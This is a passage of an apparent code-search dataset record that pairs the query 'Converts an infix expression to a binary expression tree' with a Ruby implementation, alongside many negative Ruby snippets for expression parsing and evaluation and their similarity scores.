raise \"Missing argument\" if value_stack.empty?\n left_arg = value_stack.pop\n value_stack.push( evaluate(op, left_arg, right_arg) )\n end\n when ch =~ OPERATORS || ch == '('\n op_stack.push(ch)\n end\n end\n raise \"Missing expression\" if value_stack.empty?\n raise \"Too many arguments\" unless value_stack.size == 1\n raise \"Missing argument\" unless op_stack.empty?\n value_stack.pop\nend", "def evaluate(expression)\n eval(expression).inspect\nend", "def elegant_calc(expr)\n expr.split.each_with_object([]) { |e, a|\n if e.match(/\\d+/)\n a << e.to_f\n else\n y, x = a.pop, a.pop\n a << x.send(e, y)\n end\n }.last || 0\nend", "def interpret(context)\n evaluate_operator(@expression.interpret(context))\n end", "def evaluate(runtime=\"0\")\n\t\t\t@attributes.runtime = BigDecimal(runtime)\n\t\t\tresult = @expression.evaluate()\n\t\t\tinitialize_solver(@expression.expressionCache)\n\n\t\t\t# Catch Not A Number or Infinite cases\n\t\t\tif(result.nan?() or result.infinite?()) then\n\t\t\t\tresult = BigDecimal(\"0\")\n\t\t\tend\n\n\t\t\treturn(result)\n\t\tend", "def evaluate(input)\n result = parse(input, :Expr, @rules, **@options)\n # This is called for each Expr\n puts result\n end", "def evaluate(content, row, col, visits=nil)\n # return actual value if content already evaluated\n return content if content.is_a?(Float)\n\n # token has three cases, reference, number or operator\n # evaulate each token indvidually and return new array without references\n postfix_tokens = content.split(' ').map do |token|\n # if token is a reference\n if token =~ (/[A-Z][0-9]/)\n target_row = token.chars[0].ord - 'A'.ord\n target_col = token.chars[1].to_i - 1\n\n # cycle detection\n visits ||= Set.new\n cordinate = \"#{target_row}-#{target_col}\"\n if visits.include?(cordinate)\n raise 'Cyclic dependencies, program exiting..'\n else\n visits.add(cordinate)\n end\n\n $spreadsheet[target_row][target_col] = evaluate($spreadsheet[target_row][target_col], target_row, target_col, visits)\n else \n # if token is number? other wise operator\n begin\n Float(token)\n rescue ArgumentError\n token\n end\n end\n end\n\n # evaluate postfix tokenks and set value\n $spreadsheet[row][col] = RPNExpression.new(postfix_tokens).evaluate\nend", "def expression\n lterm = term\n loop do\n if accept(:T_PLUS)\n lterm = Addition.new(lterm, term)\n elsif accept(:T_MINUS)\n lterm = Subtraction.new(lterm, term)\n else\n break\n end\n end\n lterm\n end", "def calculate(integer, operator, integer1)\n\tif operator == \"+\"\n\t\tp integer + integer1\n\telsif operator == \"-\"\n\t\tp integer - integer1\n\telsif operator == \"*\"\n\t\tp integer * integer1\n\telsif operator == \"/\"\n\t\tp integer / integer1\n\telse\n\t\tp \"I'm sorry that's not a valid equation!\"\n\t\t\n\tend\nend", "def parse_expression(precedence = 0)\n ret, line = nil, current_token.line_num\n @expression_parsers.each do |matcher, parser|\n next unless matcher.call(current_token) && ret.nil?\n\n left = instance_exec &parser\n while precedence < cur_token_precedence\n _, contents = @infix_parsers.select{|key, val| key.call @current_token}.first\n left = instance_exec left, &contents.last\n end\n ret = left\n end\n add_line_info(line, ret) if ret\n ret\n end", "def expr1\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n value = nil\n e = nil\n\n begin\n # at line 28:5: e= number ( '*' e= number | '/' e= number )*\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_207 )\n e = number\n @state.following.pop\n # --> action\n value = e \n # <-- action\n # at line 29:5: ( '*' e= number | '/' e= number )*\n while true # decision 2\n alt_2 = 3\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == T__12 )\n alt_2 = 1\n elsif ( look_2_0 == T__13 )\n alt_2 = 2\n\n end\n case alt_2\n when 1\n # at line 29:7: '*' e= number\n match( T__12, TOKENS_FOLLOWING_T__12_IN_expr1_217 )\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_221 )\n e = number\n @state.following.pop\n # --> action\n value *= e \n # <-- action\n\n when 2\n # at line 30:7: '/' e= number\n match( T__13, TOKENS_FOLLOWING_T__13_IN_expr1_231 )\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_235 )\n e = number\n @state.following.pop\n # --> action\n value /= e \n # <-- action\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return value\n end", "def calculate\n\t\tplace_in_containers()\n\n\t\t# Checks for mismatch between the number of operands and operators.\n\t\t# The only valid number of operators for N operands is (N - 1).\n\t\tunless @operands.size - @operators.size == 1\n\t\t\t@valid = false\n\t\t\t@errors.push(\"Operand/Operator mismatch.\")\n\t\tend\n\n\t\t# Checks for operators present before the first two operands\n\t\t# are written. This is incorrect RPN syntax.\n\t\tif (@instructions[0..1] & [1010, 1011, 1100, 1101]).any?\n\t\t\t@valid = false\n\t\t\t@errors.push(\"Operator present before first two operands.\")\n\t\tend\n\n\t\t# Checks for an empty operand stack. In this case, there is\n\t\t# nothing more to do in the method.\n\t\tif @operands.empty?\n\t\t\t@errors.push(\"No operands.\")\n\t\t\treturn [0, false]\n\t\tend\n\n\t\t# Runs a loop until fewer than two operands or fewer than 1\n\t\t# operators are present in their respective containers.\n\t\tuntil @operands.size == 1 || @operators.size == 0 do\n\t\t\t# Pops the first operator from the front of the queue.\n\t\t\toperator = @operators.shift\n\n\t\t\t# Pops the top and second-to-top operands off of the stack.\n\t\t\topright = @operands.pop\n\t\t\topleft = @operands.pop\n\n\t\t\t# Returns prematurely before division by zero occurs.\n\t\t\tif operator == \"/\" && opright == 0\n\t\t\t\tputs \"division by zero\"\n\t\t\t\treturn [0, false]\n\t\t\tend\n\n\t\t\t# Sends the operator and the right operand to the left operand\n\t\t\t# and thereby invokes FixedNum#+, the method used for adding\n\t\t\t# integers.\n\t\t\t@operands.push(opleft.send(operator, opright))\n\t\tend\n\n\t\t# Returns the last element of @operands and the value of @valid.\n\t\t[@operands[-1], @valid]\n\tend", "def parse(expr)\n tokens = expr.chomp.strip.split('+')\n tokens.map(&:to_f).inject(:+)\n end", "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end", "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end", "def intexpr \n\n\t$cst.add_branch(\"IntExpr\")\n\t\n\tif $tokens[$index + 1].type == \"T_PLUS\"\n\t\tdigit\n\t\tintop\n\t\texpr\n\telse\n\t\tdigit\n\tend\n\t\n\t$cst.ascend\n\nend", "def evaluate(expr = '', locals: {})\n eval(expr, local_vars(binding, locals))\n rescue NoMethodError, TypeError => ex\n nil\n end", "def expr\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n\n begin\n # at line 53:11: term ( ( ( PLUS | MINUS ) ) ( term ) )*\n @state.following.push( TOKENS_FOLLOWING_term_IN_expr_541 )\n term\n @state.following.pop\n # at line 53:16: ( ( ( PLUS | MINUS ) ) ( term ) )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0.between?( PLUS, MINUS ) )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 53:17: ( ( PLUS | MINUS ) ) ( term )\n # at line 53:17: ( ( PLUS | MINUS ) )\n # at line 53:18: ( PLUS | MINUS )\n # at line 53:18: ( PLUS | MINUS )\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0 == PLUS )\n alt_15 = 1\n elsif ( look_15_0 == MINUS )\n alt_15 = 2\n else\n raise NoViableAlternative( \"\", 15, 0 )\n end\n case alt_15\n when 1\n # at line 53:20: PLUS\n match( PLUS, TOKENS_FOLLOWING_PLUS_IN_expr_547 )\n # --> action\n agc_3(['+','-'])\n # <-- action\n # --> action\n agc_2('+')\n # <-- action\n\n when 2\n # at line 53:57: MINUS\n match( MINUS, TOKENS_FOLLOWING_MINUS_IN_expr_553 )\n # --> action\n agc_3(['+','-'])\n # <-- action\n # --> action\n agc_2('-')\n # <-- action\n\n end\n\n # at line 53:95: ( term )\n # at line 53:96: term\n @state.following.push( TOKENS_FOLLOWING_term_IN_expr_560 )\n term\n @state.following.pop\n # --> action\n agc_3(['+','-'])\n # <-- action\n\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end\n \n return \n end", "def eval_tokens(tokens)\n handle_plus_minus(handle_times_divide(handle_parens_unary_minus(tokens)))\nend", "def _run (expr)\n _ruby_eval expr\n end" ]
[ "0.7586155", "0.75738376", "0.7543657", "0.7537", "0.752676", "0.7480811", "0.74662673", "0.7454852", "0.7355399", "0.73471344", "0.7335417", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.7334055", "0.72630256", "0.7196564", "0.71454805", "0.7117295", "0.7110684", "0.7087131", "0.70018893", "0.69503206", "0.69482994", "0.6934005", "0.6931809", "0.69286776", "0.6894486", "0.67847306", "0.67037666", "0.66730964", "0.66286576", "0.6622942", "0.65988207", "0.65939623", "0.6587896", "0.6587352", "0.6583342", "0.6581598", "0.65813565", "0.65773135", "0.6576579", "0.65723264", "0.65704817", "0.65580547", "0.6538784", "0.6502794", "0.65003896", "0.64944464", "0.6447662", "0.64435184", "0.6407319", "0.6406748", "0.640131", "0.63798916", "0.6350256", "0.63320035", "0.6319185", "0.6308997", "0.6278465", "0.6273995", "0.6267348", "0.62482154", "0.624781", "0.62464315", "0.62303543", "0.6203478", "0.61972827", "0.61631995", "0.61527026", "0.61327016", "0.61166817", "0.61134094", "0.6105659", "0.61050606", "0.6090416", "0.6087718", "0.6086851", "0.60855895", "0.60802376", "0.60771775", "0.6076016", "0.6072173", "0.60650975", "0.60538316", "0.6049209", "0.6047153", "0.6047153", "0.6037152", "0.6030968", "0.6029702", "0.60227203", "0.60172653" ]
0.76909465
0
Converts an infix expression to a binary expression tree.
def create_tree(exp) operatorStack, nodeStack = [], [] # define function to create new tree segment subtree = Proc.new { # pop operands where # a [operator] b b, a = nodeStack.pop, nodeStack.pop nodeStack.push(Tree::Node.new(operatorStack.pop, a, b)) } exp.split("").each do |c| # Skip whitespace characters if c === "\s" next elsif c === ')' until operatorStack.last === '(' do subtree.call end # remove the remaining open parenthesis operatorStack.pop elsif %w|+ - * / ^ (|.include? c if operatorStack.empty? || c === '(' operatorStack.push(c) else while precedence_of(operatorStack.last) >= precedence_of(c) subtree.call end operatorStack.push(c) end else nodeStack.push(Tree::Node.new(c)) end end until operatorStack.empty? do subtree.call end # top element of the stack is the root element Tree.new(nodeStack.pop) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_infix_tree\n return @infix_tree unless @infix_tree.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n op = InfixNode.new(term)\n op.left = a\n op.right = b\n stack.push(op)\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack.inspect}\"\n else\n begin\n Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(InfixNode.new(term))\n debug \"#{term}\\tPUSH\\t#{stack.inspect}\"\n end\n end\n @infix_tree = stack.pop\n end", "def to_infix\n expr = to_infix_tree.to_s\n debug \"Infix = #{expr}\"\n expr\n end", "def infix_to_postfix(infix)\n infix = infix.gsub(\" \", \"\")\n symstack = Stack.new\n postfix = \"\"\n infix.chars do |token|\n case \n when operand?(token)\n postfix += token\n when symbol?(token)\n case\n when token == \"(\"\n symstack.push token\n when token == \")\"\n while not symstack.empty? and symstack.peek != \"(\"\n postfix += symstack.pop\n end\n symstack.pop # once more to remove the left paren\n when operator?(token)\n # new operator needs to be pushed on the symstack\n # but first we add to output the ones with equal or higher precedence\n # taking care of keeping left parens on the stack\n while ( not symstack.empty? and\n operator?(symstack.peek) and\n higher_or_equal_precedence?(symstack.peek,token)\n )\n postfix += symstack.pop\n end\n symstack.push(token)\n end\n end\n end\n # empty the symstack of remaining operators\n while not symstack.empty?\n postfix += symstack.pop\n end\n postfix\n end", "def to_postfix(infix_expr)\n @op_stack = Array.new\n @context_stack = [@op_stack]\n @is_first = true\n\n @postfix_expr = Array.new\n infix_expr.each { |t| eval_token(t) }\n\n check_unclosed_bracket\n @postfix_expr + @op_stack.reverse\n end", "def toPostfixExpression(infix)\n\t\tstack = []\n\t\tcount = 0\n\t\tinfix.each_char { |ch|\n\t\t\tif ch == ')'\n\t\t\t\tbuffer = []\n\t\t\t\tc = ''\n\t\t\t\twhile (c = stack.pop) != '('\n\t\t\t\t\tbuffer << c\n\t\t\t\tend\n\t\t\t\tstack << combine(buffer.reverse)\n\t\t\telse\n\t\t\t\tstack << ch\n\t\t\tend\n\n\t\t}\n\t\tstack[0]\n\n\tend", "def parse_binary_expression\n left = parse_unary_expression\n return left unless match(BINARY_OPERATOR)\n\n token = lex\n right = parse_unary_expression\n\n token.precedence = binary_precedence(token)\n stack = [left, token, right]\n\n while (precedence = binary_precedence(lookahead)) > 0\n while (stack.size > 2) && (precedence <= stack[-2].precedence)\n right = stack.pop\n operator = stack.pop.value\n left = stack.pop\n stack << node(:binary_expression, operator: operator, left: left, right: right)\n end\n\n token = lex\n token.precedence = precedence\n\n stack << token\n stack << parse_unary_expression\n end\n\n i = stack.size - 1\n expr = stack[i]\n\n while i > 1\n expr = node(:binary_expression, operator: stack[i - 1].value, left: stack[i - 2], right: expr)\n i -= 2\n end\n\n expr\n end", "def infixToPostfix(exprStr)\n expression = []\n stack = []\n exprStr.split(/\\s+|\\b/).each do |token|\n if operand? token then\n expression.push token if operand? token\n elsif leftParen? token then\n stack.push token\n elsif operator? token then\n while operator? stack.last\n break if @operators[stack.last][:stack_prec] < @operators[token][:input_prec]\n expression.push stack.pop\n end\n stack.push token\n elsif rightParen? token then\n while operator? stack.last\n if not leftParen? stack.last\n expression.push stack.pop\n else\n stack.pop\n break\n end\n end\n end\n end\n stack.reverse.each {|x| expression.push x}\n expression.join(\" \")\n end", "def infix_to_postfix(expr, prec)\n output = []\n operators = []\n\n expr.each { |token|\n case token\n when Integer\n output << token\n when :+, :*\n while !operators.empty? && operators[-1] != :\"(\" && prec[operators[-1]] >= prec[token]\n output.push(operators.pop)\n end\n operators.push(token)\n when :\"(\"\n operators.push(token)\n when :\")\"\n while operators[-1] != :\"(\"\n output.push(operators.pop)\n if operators.size == 0\n raise \"No matching parenthesis found.\"\n end\n end\n operators.pop\n end\n }\n\n while !operators.empty?\n if operators[-1] == :\"(\" || operators[-1] == :\")\"\n raise \"Unmatched parenthesis found.\"\n end\n output.push(operators.pop)\n end\n output\nend", "def to_ruby\n expr = to_infix_tree.to_ruby\n debug \"Ruby = #{expr}\"\n expr\n end", "def parse_left_infix(opsym, opcon)\n opupdate = ->(f, e1 ,e2) {opcon.call(f.call(e1), e2) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end", "def convert_to_postfix tokens\n tokens.each do |token|\n if token.is_a? Integer\n @post_fix_expression << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token.match(/[\\*\\/\\+\\-]/)\n while @operator_stack.last && @operator_stack.last.match(/[\\*\\/\\+\\-]/) && (prescedence_of(token) <= prescedence_of(@operator_stack.last))\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token == \")\"\n until @operator_stack.last == \"(\"\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack.pop #throw away the left paren that was stored in the stack\n end\n end \n until @operator_stack.empty?\n @post_fix_expression << @operator_stack.pop\n end \n end", "def parse_right_infix(opsym, opcon)\n opupdate = ->(f,e1,e2) { f.call(opcon.call(e1,e2)) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end", "def stack_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n op_stack = LinkedStack.new\n value_stack = LinkedStack.new\n string.chars do | ch |\n case\n when ch =~ /\\d/ || ch == ')'\n if ch == ')'\n raise \"Missing left parenthesis\" if op_stack.empty? || op_stack.top != '('\n op_stack.pop\n else\n value_stack.push(ch.to_i)\n end\n while !op_stack.empty? && op_stack.top =~ OPERATORS\n op = op_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n right_arg = value_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n left_arg = value_stack.pop\n value_stack.push( evaluate(op, left_arg, right_arg) )\n end\n when ch =~ OPERATORS || ch == '('\n op_stack.push(ch)\n end\n end\n raise \"Missing expression\" if value_stack.empty?\n raise \"Too many arguments\" unless value_stack.size == 1\n raise \"Missing argument\" unless op_stack.empty?\n value_stack.pop\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend", "def build_parse_tree(exp)\n exp_arr = exp.split\n tree_stack = Stack.new\n tree = BinaryTree.new('')\n current_tree = tree\n exp_arr.each do |i|\n if i == '('\n current_tree.insert_left('')\n tree_stack.push(current_tree)\n current_tree = current_tree.left_child\n elsif i.match(/\\d/)\n current_tree.set_root_value(Integer(i))\n parent = tree_stack.pop\n current_tree = parent\n elsif ['+', '-', '*', '/'].include?(i)\n current_tree.set_root_value(i)\n current_tree.insert_right('')\n tree_stack.push(current_tree)\n current_tree = current_tree.right_child\n elsif i == ')'\n current_tree = tree_stack.pop\n else\n fail 'Invalid Argument'\n end\n end\n tree\nend", "def eval_infix(source)\n ch = source.current\n source.next\n if ch == '('\n left_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n source.next\n elsif ch =~ /\\d/\n left_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n while source.current =~ OPERATORS\n op = source.current\n ch = source.next\n if ch == '('\n source.next\n right_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n elsif ch =~ /\\d/\n right_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n left_arg = evaluate(op, left_arg, right_arg)\n source.next\n end\n left_arg\nend", "def parseExpression(token)\n \n tkType = token.getType \n \n root = parseSubExp(token)\n \n # if tkType == TkType.NOT then\n # node = ICodeGen.generateNode(OpOpTr.getICType(tkType))\n # node.addBranch(root)\n # root = node\n # end\n \n token = currentTk \n tkType = token.getType\n \n while BoolOpTr.include? tkType\n \n nextTk\n skipEol\n token = currentTk\n node = ICodeGen.generateNode(BoolOpTr.getICType(tkType))\n node.addBranch(root)\n node.addBranch(parseSubExp(token))\n root = node\n token = currentTk\n tkType = token.getType\n \n end\n \n return root\n \n end", "def translate_binary(bin)\n expr(BinaryExpression, lhs: visit(bin[0]), op: bin[1], rhs: visit(bin[2]), loc: bin)\n end", "def to_infix\n case self\n in [:all]\n \"\"\n in [:none]\n \"none\"\n in [:wildcard, name]\n name\n in [:tag, name]\n name\n in [:metatag, name, value, quoted]\n \"#{name}:#{quoted_value}\"\n in :not, child\n child.term? ? \"-#{child.to_infix}\" : \"-(#{child.to_infix})\"\n in :opt, child\n child.term? ? \"~#{child.to_infix}\" : \"~(#{child.to_infix})\"\n in :and, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" \")\n in :or, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" or \")\n end\n end", "def subexpression()\n node = nil\n\n if current(:operator_less_than) || current(:operator_less_than_equal) ||\n current(:operator_greater_than) || current(:operator_greater_than_equal)\n\n node = operator()\n node.child = browser()\n elsif current(:boolean_true) || current(:boolean_false)\n node = boolean()\n else\n #No comparison operator is assuming equals\n node = Nodes::Equal.new()\n node.child = browser()\n end\n\n node\n end", "def infix\n @solutions.map do |solution|\n stack = []\n\n solution.each do |s|\n if s.is_a? Fixnum\n stack.push expr: s, precedence: 3\n else\n b = stack.pop\n a = stack.pop\n p = {'-' => 1, '+' => 1, '*' => 2, '/' => 2}[s]\n\n a[:expr] = \"(#{a[:expr]})\" if a[:precedence] < p\n b[:expr] = \"(#{b[:expr]})\" if b[:precedence] <= p\n\n stack.push expr: '%s %s %s' % [a[:expr], s, b[:expr]], precedence: p\n end\n end\n\n '%s = %d' % [stack.pop[:expr], @target]\n end\n end", "def parse_infix_comparison\n lhs = parse_value\n return case peek_token\n when nil\n lhs\n when :comma\n next_token # skip comma\n lhs\n else\n if COMPARISON_OPERATORS.include?(peek_token)\n comparison_operator = next_token\n rhs = parse_value\n ScopedSearch::QueryLanguage::AST::OperatorNode.new(comparison_operator, [lhs, rhs])\n else\n lhs\n end\n end\n end", "def build_parsing_tree\n buffer = [] #[[op, rExpr, lExpr], ...]\n @postfix_buffer.each{|s| buffer << (s.class == Array ? s : [s, buffer.pop, buffer.pop]) }\n return buffer.first\n end", "def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n\n postfix_helper(postfix_expression, stack)\nend", "def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend", "def to_b\n lft = self.left.to_b if self.left.is_a? Pow or !(self.left.is_a? BinaryOp)\n lft = \"(#{self.left.to_b})\" unless self.left.is_a? Pow or !(self.left.is_a? BinaryOp)\n rht = self.right.to_b if self.right.is_a? Pow or !(self.right.is_a? BinaryOp)\n rht = \"(#{self.right.to_b})\" unless self.right.is_a? Pow or !(self.right.is_a? BinaryOp)\n return \"#{lft}*#{rht}\"\n end", "def build\n nodes = []\n chars = []\n\n expression.each_char do |character|\n\n if '(' == character\n\n chars << character\n\n elsif /\\d+/.match(character)\n\n nodes.push Tree.new(character.to_i)\n\n elsif operands.include?(character)\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars << Operation::OPERATIONS[character].new\n\n elsif ')' == character\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars.pop\n\n end\n\n end\n\n unless nodes.empty? && chars.empty?\n self.root = Tree.new(chars.pop)\n root.right = nodes.pop\n root.left = nodes.pop\n end\n\n raise \"Ka-Blam! You still have nodes and/or chars\" if nodes.any? || chars.any?\n\n root\n end", "def parse_expression(precedence = 0)\n ret, line = nil, current_token.line_num\n @expression_parsers.each do |matcher, parser|\n next unless matcher.call(current_token) && ret.nil?\n\n left = instance_exec &parser\n while precedence < cur_token_precedence\n _, contents = @infix_parsers.select{|key, val| key.call @current_token}.first\n left = instance_exec left, &contents.last\n end\n ret = left\n end\n add_line_info(line, ret) if ret\n ret\n end", "def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend", "def test_e1310_infix_to_postfix\n verify_method :e1310_infix_to_postfix,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { |expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def generate_tree(operands, operators, parent_node)\n return operands[0] if operands.length==1\n\n i = index_of_lowest_precedence(operators)\n operator = operators[i]\n new_operand = node_class.new(parent_node)\n new_operand.add_match generate_tree(operands[0..i], operators[0..i-1],new_operand), :left\n new_operand.add_match operators[i], :operator_node\n new_operand.add_match generate_tree(operands[i+1..-1], operators[i+1..-1],new_operand), :right\n new_operand\n end", "def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end", "def execWithOperator(env)\n operatorToken = Ruby::Token.new(self.operator.token[/(.*)=/, 1])\n binaryExpression = Ruby::Binary.new(operatorToken, self.left, self.right)\n #return the partial evaluation result of the newly created binary expression.\n binaryExpression.pe(env)\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend", "def infix\n infixes = %w[to and or + - * / ^ mod <= >= < > is in] +\n ['not in', 'is not']\n\n infixes.include?(peek.value)\n end", "def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend", "def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end", "def parse_expression(precedence)\n prefix = @prefix_parse_functions[@cur_token.type]\n if prefix.nil?\n raise(\n MonkeyLanguageParseError,\n [\"unexpected token: #{@cur_token.type}\",\n \"not found prefix parse function for #{@cur_token.type}\"].join(\", \")\n )\n end\n left_exp = prefix.call\n while (not next_token_type_is(TokenType::SEMICOLON)) and\n precedence < next_token_precedence\n infix = @infix_parse_functions[@nxt_token.type]\n raise if infix.nil?\n advance_cursor\n left_exp = infix.call(left_exp)\n end\n return left_exp\n end", "def to_rpn(ast)\n out = []\n ops = []\n\n out.push(ast.shift) unless ast.empty?\n\n until ast.empty? do\n op = ast.shift\n p = OPS[op] || fail(Error \"Unknown operator '#{op}'\")\n\n until ops.empty? do\n break if p > OPS[ops.first]\n out.push(ops.shift)\n end\n\n ops.unshift(op)\n out.push(ast.shift) unless UNARY[op]\n end\n (out.concat(ops)).flatten\n end", "def expr(min_prec = 5, step = 10)\n left = atomar\n\n loop do\n if !left || !infix || @optable[peek.value][0] < min_prec\n return left\n else\n op = consume\n line = op.line\n col = op.column\n prec, assoc = @optable[op.value]\n next_prec = prec || (prec + step if assoc == 'left')\n right = expr(next_prec) || syntax_error\n left = Apparat::Byte::Binary.new([op.value, left, right], line, col)\n end\n end\n end", "def evaluate_expression_inner(expression)\n expression_string = evaluate_expression(expression.left)\n expression_string << ' ' + expression.operator.to_s + ' '\n expression_string << evaluate_expression(expression.right)\n expression_string\n end", "def test_infix_to_postfix_e1310\n verify_method :infix_to_postfix_e1310,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { 